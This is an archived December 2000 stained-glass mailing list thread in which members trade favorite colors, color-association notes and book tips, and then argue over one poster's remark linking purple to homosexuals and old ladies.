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X-Path: home.com!esavad
From: "Mike Savad" <esavad@home.com>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: RE: favorite colors
Date: Mon, 4 Dec 2000 17:29:04 -0500
Message-ID: <1970Jan1.000.0>
References: <<3A2C0BF8.93114E68@pacbell.net>>
Precedence: bulk

actually purple is a symbol of royalty.... tinky-winky is yellow (i know i
made one for some weirdo. the one that carries the purse is the gay one...
for glass, purple is best as an accent. but since i don't have alot of
purple, i don't use alot of it in my work.... there just aren't enough solid
colors of purple....



---Mike Savad


---
Mike's Stained Glass - http://www.geocities.com/Paris/1141/
Contains a wealth of stained glass information, stained glass tips, stained
glass instruction, and many, many stained glass links.
---
11-7-00 - New Stuff Added: How to solder a nice bead, and several new
projects. You can now search my site with a built in engine.

> -----Original Message-----
> From: rrk [mailto:ezbongo2@pacbell.net]
> Sent: Monday, December 04, 2000 4:26 PM
> To: Mike Savad
> Cc: glass@bungi.com
> Subject: Re: favorite colors
>
>
>
>
> Mike Savad wrote:
>
> > this is a general question for everyone...
> >
> > what is your favorite color?
> > what is your favorite color that you would wear?
> > and are you a guy or a gal?
> >
> > mine is purple, always has been, though i would'nt wear it. i would wear
> > something in the blue family.
> >
> > i'm asking mainly for future reference, what colors would apply
> to how many
> > people. for me, i may make a blue box, but use a purple gem as
> an accent.
> >
> > currently i'm not sure what i'll do with the information, but
> i'm sure it
> > has a use somewhere.
>
> Hi Mike,
>
> Definitely a man here.
>
> Current favorite colors for clothes : EARTH COLORS (about 80%)
> with the balance
> being REDS and BLUES (denim and things that go with denim).
> Where earth colors
> are greens, browns, ochre, and so on.
>
> General favorite color : GREEN and EARTH COLORS with RED and BLUE
> being tied
> for second.
>
> Current favorite colors for glass : EARTH COLORS
>
> Green and earth colors I associate with life and living things.
> I associate red with power and intensity and sex.
> I associate blue with thought and reflection.
>
> Purple?  Yer kiddin' me.  YUCK.  Strictly an accent color for me but very
> useful in that context.  I associate purple and/or lavender with
> femininity,
> certain flowers, old ladies, hippiedom, and homosexuals.  Isn't
> Tinky-Winky a
> purple colored character?  And isn't Barney the Dinosaur purple? <G>
>
> Anyway ... different strokes for different folks.
>
> later .... Bob Kerr
>
>

----
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From owner-glass Mon Dec  4 15:15:54 2000
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X-Path: home.com!esavad
From: "Mike Savad" <esavad@home.com>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: RE: Favorite Color
Date: Mon, 4 Dec 2000 17:22:19 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

actually that's kind of intresting... it looks like you favor cool colors,
but a warm blue.  - the blue, is it a solid color, wispy, or clear color?
the blues i generally like need to be mind blowing rich and full. kind of
hard to explain....



---Mike Savad


---
Mike's Stained Glass - http://www.geocities.com/Paris/1141/
Contains a wealth of stained glass information, stained glass tips, stained
glass instruction, and many, many stained glass links.
---
11-7-00 - New Stuff Added: How to solder a nice bead, and several new
projects. You can now search my site with a built in engine.

> -----Original Message-----
> From: Sarah [mailto:arasai@bright.net]
> Sent: Monday, December 04, 2000 12:15 AM
> To: glass@bungi.com
> Subject: RE: Favorite Color
>
>
> Clear DayHi Mike,
>   I had to come out of lurkdom to reply to this request! My favorite color
> is Gray. I like a pale, soft gray that is almost white, it's called DOVE
> GRAY. I am female, with blonde hair and blue eyes, I wear mostly soft gray
> accented with pale pink. My house is mostly pale gray with white woodwork
> because it "opens up" my small areas and is very peaceful! It also makes a
> nice neutral background for my glass displays! As far as my glass
> choices, I
> LOVE Cobalt Blue!
> Sarah
> May your day be as beautiful as you are...!
>
> ----
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>

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From owner-glass Mon Dec  4 15:32:38 2000
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X-Path: home.com!esavad
From: "Mike Savad" <esavad@home.com>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: RE: The color purple
Date: Mon, 4 Dec 2000 17:18:45 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

do you have any of the other colors?

i've looked into using colors to give a subliminal effect on people. but i
could'nt find any info in it (though i also didn't look very hard).

to use a color ro provoke an emotion is pretty cool.

i know that certain colors, wehn next to other colors can give an illusion
of height. warmer colors apear to float over cooler colors.

yellow and red is the higest, then orange, green then blue. - it's
intresting information to use. you can do a weave or a celtic knot using a
green glass, and the other string with yellow. and the illusion it can
create can be pretty neat...

as for purple, i've always liked deep royal purple, feels kind of warm....
and an intersting side note, my favorite planet has always been jupiter -
which i later found out is my horoscopol (i know not a real word), planet
and color... kind of weird. - i was going to say birth planet, but that
doesn't sound quite right.... \^o^/


---Mike Savad




---
Mike's Stained Glass - http://www.geocities.com/Paris/1141/
Contains a wealth of stained glass information, stained glass tips, stained
glass instruction, and many, many stained glass links.
---
11-7-00 - New Stuff Added: How to solder a nice bead, and several new
projects. You can now search my site with a built in engine.

> -----Original Message-----
> From: Vern Sila [mailto:vsila@uswest.net]
> Sent: Sunday, December 03, 2000 11:52 PM
> To: glass@bungi.com
> Subject: The color purple
>
>
>
> --------------6FE6A3F8823B502AEF4D4B62
> Content-Type: text/plain; charset=us-ascii
> Content-Transfer-Encoding: 7bit
>
> Purple sure seems to be a popular color. The following are exerts from a
> book about color associations.
> It might be a bit on the lengthy side, but may prove to be kind of
> interesting for some.
>
>                               Universal Psychological Color Association
>
> This section of the manual will give the data which have been collected
> on the Universal Psychological Associations
> or the ethico-aesthetic values associated with the ten basic hues and
> black, white, and gray.
>
> The universal association will be listed under the categories which
> follow.
>
> General Associations
>  This list will include the conceptual associations most often made with
> the color.
>
> General Symbolism
> This list will give some of the color associations of ancient cultures.
> In each case the culture will be identified with the
> associations.  Remember that some of these seemingly mystical
> associations still have a strong influence on the
> universal color associations of today.
>
> Sensory Associations
> This list will indicate the universal associations of color to such
> factors as taste, smell, food, appetite, and weight.
>
> Preference Ratings
> This list will give the statistical results of the universal favorite
> colors of adults, children, and the elderly.
>
> Visibility Ratings
> This list will give the statistical results of such factors as color
> visibility, attention/attraction ability, and legibility of
> color combinations for letter forms.
>
> Color to Shape Relationships
> This list will give the most universally appropriate shapes or forms for
> each color.
>
> Visual Motion
> This list will give the universal associations of motion and direction
> for each color.
>
> Environmental Uses
> This list will suggest the best use of each color in such environments
> as industry, the home, and other places where
> applicable.
>
> Miscellaneous
> This list will consist of data on universal associations which do not
> relate to the other categories.
>
> In all cases, the rating of one is the highest.  For example, for the
> hue red, the weight rating is two, which means red
> appears to be the second most heavy color after number one, black.
>
> Universal associations of tints and shades of each hue are given where
> the data are available.
>
> The material on the universal psychological color associations is not
> necessarily factual, but is given only as
> suggestions for a more complete general reference to color.
>
>                                          Purple
>
> General Associations
> Nostalgia, memories, power, spirituality, sublimation, melancholia,
> meditative, mystical, thought, dignified, subducing,
> aesthetic, clings to the earth, important, celibacy, rage priggishness.
>
> General Symbolism
> Ancient Medicine: stimulates heart, lungs, blood vessels, female sex
> glands, thwarts adversity.
> Egypt: earth.
> Greece: sea.
> Rome: imperial, Jupiter.
> Zunis: water.
> Heraldry: Purpure, royalty and rank.
> Christianity: suffering, individual, penitent.
> American University: law.
>
> Sensory Associations
> Taste: bitter.
> Appetite Rating: 11
> Weight Rating: 84
>
> Preference Ratings
> Adults: 4
> Children: 7
>
> Visibility Ratings
> Attention/Attraction: 7
>
> Color to Shape Relationship
> Best shapes are ellipses, ovals, flowing forms.
>
> Environmental Uses
> Not good for public spaces or sick rooms.
>
> Miscellaneous
> The letter U.
>
> Light Valued Purple: Lavender
> Smell rating: 2
> Smell: Perfumed.
> Appetite rating: good for sweets.
>
>
>

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From owner-glass Mon Dec  4 19:06:02 2000
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X-Path: juno.com!pkinnetz
From: Peggy L Kinnetz <pkinnetz@juno.com>
To: glass@bungi.com
Content-Type: text/plain
Subject: Favorite colors
Date: Mon, 4 Dec 2000 20:02:37 -0500
Message-ID: <1970Jan1.000.0>
Precedence: bulk

You're right, different strokes for different folks. . . ;-)  

Anyway, I love to wear black but with strong cool accent colors like
electric blue, or teal, turquoise, and of course purple, in scarves,
jewelry, belts, etc. Or I'll just wear a strong jewel/electric solid
color. Its the dose of strong clear, (cool) color that's important.
Orange is pretty much banned from my closet (and life), with some soft
buttery yellows being ok,  but definitly not screaming yellow. Red in
small doses, pink in even smaller amounts.

Likewise my house is decorated in jewel tones of red and green,mostly,
and touches of gold and blue.

But the color purple is my personal color. Its the color of my birth
month (Amythest and violets). Purple is the color of passion; but
somewhere I heard (from an art therapist?) that purple is a psychotic
color. Oh well. At least I'm happy in my own little world. :-)

I tend to pick greens for glass colors-- I also associate green with life
and living things.
this has been fun listening to everyone's color preferences.
Peggy
------------------------------------------------------------
"Green and earth colors I associate with life and living things.
I associate red with power and intensity and sex.
I associate blue with thought and reflection.

Purple?  Yer kiddin' me.  YUCK.  Strictly an accent color for me but very
useful in that context.  I associate purple and/or lavender with
femininity,
certain flowers, old ladies, hippiedom, and homosexuals.  Isn't
Tinky-Winky a
purple colored character?  And isn't Barney the Dinosaur purple? <G>

Anyway ... different strokes for different folks."
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From owner-glass Mon Dec  4 19:30:36 2000
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X-Path: twcny.rr.com!mschatee
From: "CP" <mschatee@twcny.rr.com>
To: <glass@bungi.com>
Content-Type: multipart/alternative;
Subject: A personal insult
Date: Mon, 4 Dec 2000 22:13:00 -0500
Message-ID: <1970Jan1.000.0>
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0011_01C05E3F.5CDCD1E0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

I'm sure that Mike's thread  about favorite colors was totally innocent =
and a very good thread which provoked a lot of thought and conversation. =
 However, Bob's response was prejudicial and insulting to many people =
and I feel he does not deserve this forum to spew his ignorance and =
intolerance.  What color a person like's or dislikes BOB has nothing to =
do with sexual preference, masculinity, old ladies, hippies or whatever =
stupid references you made.  Personally as one of the people you =
personally attacked, I take great and I mean GREAT offense!
Oh and by the way, your favorites....red and blue...when combined they =
make purple.  Be careful you may have some latent tendencies there!

I certainly hope that this beloved glass forum, which I read faithfully =
everyday although I don't actively participate, doesn't chase away more =
talented artists because of people's ignorance.

Thanks for letting me get this off my chest.  And by the way, my =
favorite color is and has always been PURPLE!

Caren

------=_NextPart_000_0011_01C05E3F.5CDCD1E0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 5.50.4207.2601" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>I'm sure that Mike's thread&nbsp; about =
favorite=20
colors was totally innocent and a very good thread which provoked a lot =
of=20
thought and conversation.&nbsp; However, Bob's response was prejudicial =
and=20
insulting to many people and I feel he does not deserve this forum to =
spew his=20
ignorance and intolerance.&nbsp; What color a person like's or dislikes =
BOB has=20
nothing to do with sexual preference, masculinity, old ladies, hippies =
or=20
whatever stupid references you made.&nbsp; Personally as one of the =
people you=20
personally attacked, I take great and I mean GREAT offense!</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Oh and by the way, your =
favorites....red and=20
blue...when combined they make purple.&nbsp; Be careful you may have =
some latent=20
tendencies there!</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I certainly hope that this beloved =
glass forum,=20
which I read faithfully everyday although I don't actively participate, =
doesn't=20
chase away more talented artists because of people's =
ignorance.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thanks for letting me get this off my =
chest.&nbsp;=20
And by the way, my favorite color is and has always been =
PURPLE!</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Caren</FONT></DIV></BODY></HTML>

------=_NextPart_000_0011_01C05E3F.5CDCD1E0--

----
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From owner-glass Mon Dec  4 20:09:42 2000
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X-Path: ilnk.com!andor
From: "Linda Jo Letscher" <andor@ilnk.com>
To: "CP" <mschatee@twcny.rr.com>,
Subject: Re: A personal insult
Date: Mon, 4 Dec 2000 22:42:57 -0500
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

I think he probably was just kidding.
Linda Jo

----- Original Message -----
From: "CP" <mschatee@twcny.rr.com>
To: <glass@bungi.com>
Sent: Monday, December 04, 2000 10:13 PM
Subject: A personal insult


> This is a multi-part message in MIME format.
>
> ------=_NextPart_000_0011_01C05E3F.5CDCD1E0
> Content-Type: text/plain;
> charset="iso-8859-1"
> Content-Transfer-Encoding: quoted-printable
>
> I'm sure that Mike's thread  about favorite colors was totally innocent =
> and a very good thread which provoked a lot of thought and conversation. =
>  However, Bob's response was prejudicial and insulting to many people =
> and I feel he does not deserve this forum to spew his ignorance and =
> intolerance.  What color a person like's or dislikes BOB has nothing to =
> do with sexual preference, masculinity, old ladies, hippies or whatever =
> stupid references you made.  Personally as one of the people you =
> personally attacked, I take great and I mean GREAT offense!
> Oh and by the way, your favorites....red and blue...when combined they =
> make purple.  Be careful you may have some latent tendencies there!
>
> I certainly hope that this beloved glass forum, which I read faithfully =
> everyday although I don't actively participate, doesn't chase away more =
> talented artists because of people's ignorance.
>
> Thanks for letting me get this off my chest.  And by the way, my =
> favorite color is and has always been PURPLE!
>
> Caren
>
> ------=_NextPart_000_0011_01C05E3F.5CDCD1E0
> Content-Type: text/html;
> charset="iso-8859-1"
> Content-Transfer-Encoding: quoted-printable
>
> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
> <HTML><HEAD>
> <META http-equiv=3DContent-Type content=3D"text/html; =
> charset=3Diso-8859-1">
> <META content=3D"MSHTML 5.50.4207.2601" name=3DGENERATOR>
> <STYLE></STYLE>
> </HEAD>
> <BODY bgColor=3D#ffffff>
> <DIV><FONT face=3DArial size=3D2>I'm sure that Mike's thread&nbsp; about =
> favorite=20
> colors was totally innocent and a very good thread which provoked a lot =
> of=20
> thought and conversation.&nbsp; However, Bob's response was prejudicial =
> and=20
> insulting to many people and I feel he does not deserve this forum to =
> spew his=20
> ignorance and intolerance.&nbsp; What color a person like's or dislikes =
> BOB has=20
> nothing to do with sexual preference, masculinity, old ladies, hippies =
> or=20
> whatever stupid references you made.&nbsp; Personally as one of the =
> people you=20
> personally attacked, I take great and I mean GREAT offense!</FONT></DIV>
> <DIV><FONT face=3DArial size=3D2>Oh and by the way, your =
> favorites....red and=20
> blue...when combined they make purple.&nbsp; Be careful you may have =
> some latent=20
> tendencies there!</FONT></DIV>
> <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
> <DIV><FONT face=3DArial size=3D2>I certainly hope that this beloved =
> glass forum,=20
> which I read faithfully everyday although I don't actively participate, =
> doesn't=20
> chase away more talented artists because of people's =
> ignorance.</FONT></DIV>
> <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
> <DIV><FONT face=3DArial size=3D2>Thanks for letting me get this off my =
> chest.&nbsp;=20
> And by the way, my favorite color is and has always been =
> PURPLE!</FONT></DIV>
> <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
> <DIV><FONT face=3DArial size=3D2>Caren</FONT></DIV></BODY></HTML>
>
> ------=_NextPart_000_0011_01C05E3F.5CDCD1E0--
>
> ----
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> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass


----
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From owner-glass Mon Dec  4 20:35:30 2000
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X-Path: pacbell.net!ezbongo2
From: rrk <ezbongo2@pacbell.net>
To: Mike Savad <esavad@home.com>
Content-Type: text/plain; charset=us-ascii
Subject: Re: favorite colors
Date: Mon, 04 Dec 2000 20:06:42 -0800
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0@mta3.snfc21.pbi.net>>
Precedence: bulk


Hi Mike,

A comment, a correction, and another comment.

Mike Savad wrote:

> actually purple is a symbol of royalty....

Another reason to dislike purple
as I despise "royalty" and everything
they stand for.  Worthless parasites at best.
 I don't think much of
democracy either as I think the
exercise of sovereign franchise should
be earned by voluntary service to
the state and/or mankind, exercised
only after that service, and revocable
by failure of regular competency tests.
A strange idea in these times I know.


> tinky-winky is yellow (i know i
> made one for some weirdo. the one that carries the purse is the gay one...

Actually, Tinky-Winky is purple,
Po is red, Dipsy is green,
and LaLa is yellow.

Wanna bet?

[its a sucker bet, Mike, I have
a 3 yr old and 6 yr old in the house
and Teletubbies are popular here
in this house despite the
Super Rev Deluxe Jelly Farwarrs'
"warnings" <G>]


>
> for glass, purple is best as an accent. but since i don't have alot of
> purple, i don't use alot of it in my work.... there just aren't enough solid
> colors of purple....

Actually I use a fair amount of purple
as it IS a great accent color particularly
for garden scenes and other natural themes,
which nowadays are the majority of my works.
When the majority of the piece is browns
and greens the eye is naturally drawn to
accent colors such as purple, blue, bright red,
and so on ... just as it is in nature.

Anyway .....

regards .... Bob

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From owner-glass Mon Dec  4 20:42:22 2000
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X-Path: pacbell.net!ezbongo2
From: rrk <ezbongo2@pacbell.net>
To: CP <mschatee@twcny.rr.com>, Bungi Group <glass@bungi.com>
Content-Type: text/plain; charset=us-ascii
Subject: Re: favorite colors
Date: Mon, 04 Dec 2000 20:07:36 -0800
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0@mta1.snfc21.pbi.net>>
Precedence: bulk



CP wrote:

> You know you are pretty ignorant and full of testosterone for a man of the
> 00's.  Did you know loving earth tones was a sign of male insecurity????
> Sounds like you are.  And just for the record.....tinky winky and Barney are
> for toddlers....why are you so interested in them?????

Nice try "CP" ... or whatever your "real name" is.

Tell us ... do you have generally have much success
with this transparent (and rather pathetic) approach of yours?

There are others on this list who are MUCH better
than you at trolling.  Apparently you're still a debutante.

Earth colors a sign of male insecurity ... <G> ...
you've GOT to be kidding.  Where did you get this from?
Some pop psychobabble book?

I wonder if you have sufficient powers of reasoning
to figure out why Barney and Tinky-Winky
come to mind for me.   Duhhhhhhh

Bye now ... Bob K.


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From owner-glass Mon Dec  4 21:54:59 2000
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X-Path: ix.netcom.com!gunnx4
From: Suzanne Gunn <gunnx4@ix.netcom.com>
To: rrk <ezbongo2@pacbell.net>
Content-Type: text/plain; charset=x-user-defined
Subject: Re: favorite colors
Date: Mon, 04 Dec 2000 23:25:21 -0600
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

That seemed like a pretty feeble apology to me.  Notice, she did sign
her real name.

It didn't appear to me that anyone was trying to be a troll but you,
Bob. 

Your first message didn't offend me, it doesn't matter whether you like
my color choices or the other choices in my life.

There is something about a man that *always has to be right, and leans
toward *condescending remarks that bothers me every time I hear it.
Color me offended.

Suzanne
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From owner-glass Mon Dec  4 22:08:37 2000
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X-Path: aol.com!Bobfuses
From: Bobfuses@aol.com
To: glass@bungi.com
Content-Type: text/plain; charset="US-ASCII"
Subject: Favorite colors
Date: Tue, 5 Dec 2000 00:48:27 EST
Message-ID: <1970Jan1.000.0>
Precedence: bulk

My fav colors are cerulean blue and magenta (which is a hew of purple).

In glass it is hard to beat Bullseye cranberry. Whispy pinks are a winner 
also. You can bet that they are top of the line expensive.

There are some great shades of purple available in full antique glass, also 
some greens. I have a few sheets that are destined to make great grape vines.

Bob in 9 2 0 2 6
Don't forget to punch out the candidate of your choice.
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From owner-glass Mon Dec  4 22:34:20 2000
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X-Path: ictc.com!bankers
From: "Banker's House" <bankers@ictc.com>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: Re: A personal insult
Date: Tue, 5 Dec 2000 00:21:32 -0600
Message-ID: <1970Jan1.000.0>
Precedence: bulk

BRAVO!  Well said!


-----Original Message-----
From: CP <mschatee@twcny.rr.com>
To: glass@bungi.com <glass@bungi.com>
Date: Monday, December 04, 2000 9:40 PM
Subject: A personal insult


>This is a multi-part message in MIME format.
>
>------=_NextPart_000_0011_01C05E3F.5CDCD1E0
>Content-Type: text/plain;
> charset="iso-8859-1"
>Content-Transfer-Encoding: quoted-printable
>
>I'm sure that Mike's thread  about favorite colors was totally innocent =
>and a very good thread which provoked a lot of thought and conversation. =
> However, Bob's response was prejudicial and insulting to many people =
>and I feel he does not deserve this forum to spew his ignorance and =
>intolerance.  What color a person like's or dislikes BOB has nothing to =
>do with sexual preference, masculinity, old ladies, hippies or whatever =
>stupid references you made.  Personally as one of the people you =
>personally attacked, I take great and I mean GREAT offense!
>Oh and by the way, your favorites....red and blue...when combined they =
>make purple.  Be careful you may have some latent tendencies there!
>
>I certainly hope that this beloved glass forum, which I read faithfully =
>everyday although I don't actively participate, doesn't chase away more =
>talented artists because of people's ignorance.
>
>Thanks for letting me get this off my chest.  And by the way, my =
>favorite color is and has always been PURPLE!
>
>Caren


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From owner-glass Mon Dec  4 23:07:40 2000
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From: "Banker's House" <bankers@ictc.com>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: Re: favorite colors
Date: Tue, 5 Dec 2000 00:27:45 -0600
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Thank you Suzanne, well said.


-----Original Message-----
From: Suzanne Gunn <gunnx4@ix.netcom.com>
To: rrk <ezbongo2@pacbell.net>
Date: Tuesday, December 05, 2000 12:06 AM
Subject: Re: favorite colors


>That seemed like a pretty feeble apology to me.  Notice, she did sign
>her real name.
>
>It didn't appear to me that anyone was trying to be a troll but you,
>Bob. 
>
>Your first message didn't offend me, it doesn't matter whether you like
>my color choices or the other choices in my life.
>
>There is something about a man that *always has to be right, and leans
>toward *condescending remarks that bothers me every time I hear it.
>Color me offended.
>
>Suzanne
>----
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>

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From: Patrick Kelly <pkelly@n-link.com>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: RE: The color purple
Date: Tue, 5 Dec 2000 02:14:45 -0800
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Hello Again everybody.

My favorite color is also purple and I wear it quite a bit as well as pinks,
magentas, blues, lavendar, etc. As for my masculinity... well I am secure in
it... for others that have an alternate life style .... so what.

For those of you who have been unfortunate enough to see me in person and
know of my prior occupation "prima ballerina in a stained glass Tutu"....
you can relate to my femininity.....ROFLMAO


Patrick
Roses and Rainbow

BTW The Tele Tubbies are neither sex..... I just bought a talking La La for
my grand daughter and its yellow.

Elmo for President!

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From owner-glass Tue Dec  5 00:51:40 2000
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From: "Kira Mason" <kiram@arrakis.es>
To: "bungi" <glass@bungi.com>
Subject: RV: The color purple
Date: Tue, 5 Dec 2000 09:30:30 +0100
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Hi Mike,
Two VERY good and useful books are:

"Color Harmony"
A Guide To Creative Color Combinations
By: Hideaki Chijiiwa
ISBN: 0-935603-06-9

Sinopsis:  Hideaki Chijiiwa has complied this exciting guide for use by
graphic designers, fashion designers, artists and indeed all who require to
choose combinations of colors for creative effect.  While the central
section consists of a very extensive range of different color combinations
to make choices from, "Color Harmony" in in fact very much more than
this....

This is a great book, I use it alot.  Then:

"Principles of Color Design"
By:  Wucius Wong
ISBN: 84-252-1377-0

I would tell you some of the syns. but it is in Spanish and a little too
eary for me to translate (not had my second cup of coffee yet).  It is a
good book also, more on the learning side than the one above which is great
for reference, I use it like a dictionary.

Both of these books are directed at your questions.

Hope this helps.
Kira

"Color Harmony" I bought through amazon.com and Principles... I bought here
in Spain but was translated from English into Spanish.
-----Mensaje original-----
De: Mike Savad <esavad@home.com>
Para: glass@bungi.com <glass@bungi.com>
Fecha: martes 5 de diciembre de 2000 0:33
Asunto: RE: The color purple


>do you have any of the other colors?
>
>i've looked into using colors to give a subliminal effect on people. but i
>could'nt find any info in it (though i also didn't look very hard).
>
>to use a color ro provoke an emotion is pretty cool.
>
>i know that certain colors, wehn next to other colors can give an illusion
>of height. warmer colors apear to float over cooler colors.
>
>yellow and red is the higest, then orange, green then blue. - it's
>intresting information to use. you can do a weave or a celtic knot using a
>green glass, and the other string with yellow. and the illusion it can
>create can be pretty neat...
>
>as for purple, i've always liked deep royal purple, feels kind of warm....
>and an intersting side note, my favorite planet has always been jupiter -
>which i later found out is my horoscopol (i know not a real word), planet
>and color... kind of weird. - i was going to say birth planet, but that
>doesn't sound quite right.... \^o^/
>
>
>---Mike Savad
>
>
>
>
>---
>Mike's Stained Glass - http://www.geocities.com/Paris/1141/
>Contains a wealth of stained glass information, stained glass tips, stained
>glass instruction, and many, many stained glass links.
>---
>11-7-00 - New Stuff Added: How to solder a nice bead, and several new
>projects. You can now search my site with a built in engine.
>
>> -----Original Message-----
>> From: Vern Sila [mailto:vsila@uswest.net]
>> Sent: Sunday, December 03, 2000 11:52 PM
>> To: glass@bungi.com
>> Subject: The color purple
>>
>>
>>
>> --------------6FE6A3F8823B502AEF4D4B62
>> Content-Type: text/plain; charset=us-ascii
>> Content-Transfer-Encoding: 7bit
>>
>> Purple sure seems to be a popular color. The following are exerts from a
>> book about color associations.
>> It might be a bit on the lengthy side, but may prove to be kind of
>> interesting for some.
>>
>>                               Universal Psychological Color Association
>>
>> This section of the manual will give the data which have been collected
>> on the Universal Psychological Associations
>> or the ethico-aesthetic values associated with the ten basic hues and
>> black, white, and gray.
>>
>> The universal association will be listed under the categories which
>> follow.
>>
>> General Associations
>>  This list will include the conceptual associations most often made with
>> the color.
>>
>> General Symbolism
>> This list will give some of the color associations of ancient cultures.
>> In each case the culture will be identified with the
>> associations.  Remember that some of these seemingly mystical
>> associations still have a strong influence on the
>> universal color associations of today.
>>
>> Sensory Associations
>> This list will indicate the universal associations of color to such
>> factors as taste, smell, food, appetite, and weight.
>>
>> Preference Ratings
>> This list will give the statistical results of the universal favorite
>> colors of adults, children, and the elderly.
>>
>> Visibility Ratings
>> This list will give the statistical results of such factors as color
>> visibility, attention/attraction ability, and legibility of
>> color combinations for letter forms.
>>
>> Color to Shape Relationships
>> This list will give the most universally appropriate shapes or forms for
>> each color.
>>
>> Visual Motion
>> This list will give the universal associations of motion and direction
>> for each color.
>>
>> Environmental Uses
>> This list will suggest the best use of each color in such environments
>> as industry, the home, and other places where
>> applicable.
>>
>> Miscellaneous
>> This list will consist of data on universal associations which do not
>> relate to the other categories.
>>
>> In all cases, the rating of one is the highest.  For example, for the
>> hue red, the weight rating is two, which means red
>> appears to be the second most heavy color after number one, black.
>>
>> Universal associations of tints and shades of each hue are given where
>> the data are available.
>>
>> The material on the universal psychological color associations is not
>> necessarily factual, but is given only as
>> suggestions for a more complete general reference to color.
>>
>>                                          Purple
>>
>> General Associations
>> Nostalgia, memories, power, spirituality, sublimation, melancholia,
>> meditative, mystical, thought, dignified, subducing,
>> aesthetic, clings to the earth, important, celibacy, rage priggishness.
>>
>> General Symbolism
>> Ancient Medicine: stimulates heart, lungs, blood vessels, female sex
>> glands, thwarts adversity.
>> Egypt: earth.
>> Greece: sea.
>> Rome: imperial, Jupiter.
>> Zunis: water.
>> Heraldry: Purpure, royalty and rank.
>> Christianity: suffering, individual, penitent.
>> American University: law.
>>
>> Sensory Associations
>> Taste: bitter.
>> Appetite Rating: 11
>> Weight Rating: 84
>>
>> Preference Ratings
>> Adults: 4
>> Children: 7
>>
>> Visibility Ratings
>> Attention/Attraction: 7
>>
>> Color to Shape Relationship
>> Best shapes are ellipses, ovals, flowing forms.
>>
>> Environmental Uses
>> Not good for public spaces or sick rooms.
>>
>> Miscellaneous
>> The letter U.
>>
>> Light Valued Purple: Lavender
>> Smell rating: 2
>> Smell: Perfumed.
>> Appetite rating: good for sweets.
>>
>>
>>
>
>----
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From owner-glass Tue Dec  5 04:58:31 2000
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From: Cindy Purola <cpurola@ameritech.net>
To: Stained Glass List <glass@bungi.com>
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Subject: Color Harmony book
Date: Tue, 05 Dec 2000 07:47:16 -0500
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Hi Kira, 
  I just picked up a book in our local bookstore
called:

"Color Harmony Jewels"
A Guidebook for Creating Great Color Combinations
by Martha Gill
ISBN: 1-56496-718-2

I sounds a little like the book you cited.
It is published by Rockport (www.rockpub.com),
and on the back of the book shows other color
books, such as:

Color Harmony Pastels, and Color Harmony Naturals.

I bought it to help me pick colors for my living room.
(I wanted something different, so I painted the walls
deep royal blue, and now have to decorate. yikes!)

Going back to lurkdom,
Cindy
 
Kira Mason wrote:
> 
> Hi Mike,
> Two VERY good and useful books are:
> 
> "Color Harmony"
> A Guide To Creative Color Combinations
> By: Hideaki Chijiiwa
> ISBN: 0-935603-06-9
> 
> Sinopsis:  Hideaki Chijiiwa has complied this exciting guide for use by
> graphic designers, fashion designers, artists and indeed all who require to
> choose combinations of colors for creative effect.  While the central
> section consists of a very extensive range of different color combinations
> to make choices from, "Color Harmony" in in fact very much more than
> this....
> 
> This is a great book, I use it alot.  Then:
> 
> "Principles of Color Design"
> By:  Wucius Wong
> ISBN: 84-252-1377-0
> 
> I would tell you some of the syns. but it is in Spanish and a little too
> eary for me to translate (not had my second cup of coffee yet).  It is a
> good book also, more on the learning side than the one above which is great
> for reference, I use it like a dictionary.
> 
> Both of these books are directed at your questions.
> 
> Hope this helps.
> Kira
> 
> "Color Harmony" I bought through amazon.com and Principles... I bought here
> in Spain but was translated from English into Spanish.
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From owner-glass Tue Dec  5 07:08:32 2000
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X-Path: ll.mit.edu!cogen
From: David Cogen <cogen@ll.mit.edu>
To: glass@bungi.com
Subject: Re: favorite colors
Date: Tue, 5 Dec 2000 09:25:42 -0500 (EST)
Message-ID: <200012051425.JAA18446@poblano.llan.ll.mit.edu>
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People get offended way too easily. "Greatly offended?" Aww, poor delicate
baby. Give me a break. Ignore it.

Talk about glass, or shut up! We don't need this crap!

(Oh, excuse me, maybe I've offended someone by my use of the word "crap".)

Sheesh, some people are so lame.

---


Ob. glass:

My attempt to make glass:

I took some clean beach sand, made a pile of it on a kiln brick, took my Minor
burner, unmounted it from its bench clamp and zapped it with as much heat as I
could for a couple minutes. What was I hoping? I don't know; it was an
